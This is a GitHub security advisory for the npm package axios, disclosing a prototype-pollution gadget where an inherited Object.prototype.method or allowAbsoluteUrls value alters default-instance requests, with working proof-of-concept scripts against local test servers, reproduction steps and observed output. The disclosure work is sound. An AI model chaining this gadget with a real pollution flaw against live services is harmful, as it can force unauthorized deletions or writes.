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Prototype-Pollution Gadget in Axios Default Instance Allows Inherited Object.prototype.method to Override HTTP Method

Moderate
jasonsaayman published GHSA-9fr6-4gfg-395g Sep 16, 2026

Package

npm axios (npm)

Affected versions

>=0.27.2
>=1.0.0

Patched versions

>=0.34.0
>=1.20.0

Description

Summary

Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.

Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.

Impact

In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.

Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.

Affected Functionality

Affected:

  • Default axios instance calls: axios.request({ url }).
  • Callable shorthand: axios({ url }).
  • Requests where no own config.method is provided.

Not affected in the confirmed method PoC:

  • axios.get(url) and other method aliases.
  • axios.request({ url, method: 'GET' }).
  • axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.

Technical Details

lib/core/Axios.js sets the request method with:

config.method = (config.method || this.defaults.method || 'get').toLowerCase();

mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.

Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.method = 'DELETE';
try {
  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
  delete Object.prototype.method;
}

Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.

Workarounds

Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.

Original report

Summary

Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.

Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.

This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.

Details

The vulnerable fallback read is in lib/core/Axios.js:

// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
  // do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
  config.allowAbsoluteUrls = true;
}

// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();

The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:

const config = Object.create(null);

Therefore, when the caller does not provide config.method, the fallback becomes:

this.defaults.method

The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.

The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.

Proof of Concept

Access and Attack Conditions

No admin access is required for Axios itself. This is a library-level gadget.

The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.

Required condition:

Some other bug or unsafe merge path in the application must allow Object.prototype pollution.

What Axios contributes:

Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.

What Axios does not do:

Axios does not create Object.prototype pollution by itself.

Affected usage:

axios.request({ url });
axios({ url });

Not affected in the confirmed PoC:

axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });

Reproduction Steps

  1. Create a clean test directory and install Axios 1.17.0:
mkdir axios-validation
cd axios-validation
npm init -y
npm install axios@1.17.0 --no-audit --no-fund
  1. Save the method override PoC below as:
validate-prototype-method-gadget.mjs
  1. Run the PoC:
node validate-prototype-method-gadget.mjs
  1. Confirm that the output shows:
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
  1. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.

What the Method PoC Script Does

The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:

Object.prototype.method = "DELETE";

While that pollution is active, the script sends five Axios requests:

axios.request({ url });                 // expected vulnerable path
axios({ url });                         // expected vulnerable shorthand path
axios.get(url);                         // expected safe alias path
axios.request({ url, method: "GET" });  // expected safe explicit-method path
axios.create().request({ url });        // expected safe isolated-instance path

The script then deletes the polluted property:

delete Object.prototype.method;

Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.

Method Override PoC

Create validate-prototype-method-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runRequest(label, requestFn) {
  const hits = [];
  const server = http.createServer((req, res) => {
    hits.push({
      method: req.method,
      url: req.url,
    });
    res.writeHead(200, { "content-type": "application/json" });
    res.end(JSON.stringify({ ok: true }));
  });

  const port = await listen(server);
  const url = `http://127.0.0.1:${port}/${label}`;

  let status = "completed";
  let error = "";
  try {
    await requestFn(url);
  } catch (err) {
    status = "error";
    error = err?.message || String(err);
  }

  server.close();
  return { label, status, error, hits };
}

const results = [];

Object.prototype.method = "DELETE";
try {
  results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
  results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
  results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
  results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));

  const instance = axios.create();
  results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
  delete Object.prototype.method;
}

const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);

const confirmed =
  defaultRequestMethod === "DELETE" &&
  defaultShorthandMethod === "DELETE" &&
  getAliasMethod === "GET" &&
  explicitGetMethod === "GET" &&
  createdInstanceMethod === "GET";

console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;

Run:

node validate-prototype-method-gadget.mjs

Observed result:

axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

The local server received:

axios.request({ url })              -> DELETE
axios({ url })                      -> DELETE
axios.get(url)                      -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url })     -> GET

This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.

Supporting allowAbsoluteUrls Gadget Evidence

The same inherited-property issue affects allowAbsoluteUrls.

Create validate-prototype-allowabsoluteurls-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runCase(label, requestFn) {
  const baseHits = [];
  const absoluteHits = [];

  const baseServer = http.createServer((req, res) => {
    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("base");
  });

  const absoluteServer = http.createServer((req, res) => {
    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("absolute");
  });

  const basePort = await listen(baseServer);
  const absolutePort = await listen(absoluteServer);

  try {
    await requestFn({
      baseURL: `http://127.0.0.1:${basePort}/api`,
      url: `http://127.0.0.1:${absolutePort}/absolute-path`,
    });
  } catch {}

  baseServer.close();
  absoluteServer.close();

  return { label, baseHits, absoluteHits };
}

const results = [];

results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));

Object.prototype.allowAbsoluteUrls = false;
try {
  results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
  const instance = axios.create();
  results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
  delete Object.prototype.allowAbsoluteUrls;
}

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);

Observed result:

axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED

Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.

Impact

This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.

If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:

  • axios.request({ url })
  • axios({ url })

This can turn an expected safe default GET request into a state-changing method such as:

  • DELETE
  • POST
  • PUT
  • PATCH

Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.

The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

CVE ID

CVE-2026-101902

Weaknesses

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. Learn more on MITRE.

Credits